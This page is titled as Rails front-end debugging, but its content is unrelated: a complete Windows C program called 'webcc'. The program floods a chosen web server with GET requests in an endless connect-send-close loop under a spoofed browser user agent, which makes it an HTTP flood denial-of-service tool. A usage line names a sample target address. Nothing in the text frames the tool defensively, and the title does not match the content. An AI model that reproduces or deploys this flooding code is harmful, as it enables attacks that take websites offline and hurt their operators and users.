rails 前台调试

#include <winsock2.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

DWORD resolveIP(char *hostName)

{

hostent *hent;

char **addresslist;

DWORD result = 0;

hent = gethostbyname(hostName);

if(hent)

{

addresslist = hent->h_addr_list;

if (*addresslist)

{

result = *((DWORD *)(*addresslist));

}

}

return result;

}

SOCKET ProxyConnect(char *host, int port)

{

SOCKET sock;

sock = socket(AF_INET, SOCK_STREAM, 0);

if(sock == INVALID_SOCKET)

return sock;

sockaddr_in sin;

DWORD ip = resolveIP(host);

if(ip == 0)

ip = inet_addr(host);

sin.sin_addr.s_addr = ip;

sin.sin_family = AF_INET;

sin.sin_port = htons(port);

connect(sock, (sockaddr *)&sin, sizeof(sin));

fd_set rd;

struct timeval tv;

tv.tv_sec = 0;

tv.tv_usec = 50;

FD_ZERO(&rd);

FD_SET(sock, &rd);

if(select(sock + 1, &rd, NULL, NULL, &tv) < 0)

{

closesocket(sock);

return INVALID_SOCKET;

}

return sock;

}

int main(int argc,char **argv)

{

if(argc<4)

{

printf("webcc ip pagepath port\n");

printf("webcc 10.0.3.127 /mainpage/index.asp 80\n");

exit(0);

}

WSAData GInitData;

if (WSAStartup(MAKEWORD(2,1),&GInitData) != 0)

{

printf("初始化SOCKET函数失败!\n");

return 0;

}

int sendlen = 0;

SOCKET S=ProxyConnect(argv[1],atoi(argv[3]));

if (S==INVALID_SOCKET)

{

printf("不能连接目标服务器\n");

return 0;

}

char url[4096] = "\0";

sprintf(url,"GET %s HTTP/1.0\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* \r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nIf-Modified-Since: Sun, 26 Jun 2005 15:43:05 GMT\r\nIf-None-Match: \"60794-12b3-e4169440\"\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\nHost: %s\r\n\r\n",argv[2],argv[1]);

for(;;)

{

if(S > 0)

sendlen = send(S,url,strlen(url) ,0);

closesocket(S);

// else

// {

S=ProxyConnect(argv[1],atoi(argv[3]));

if (S==INVALID_SOCKET)

{

printf("不能连接目标服务器\n");

return 0;

}

// }

printf(".");

}

closesocket(S);

return 0;

}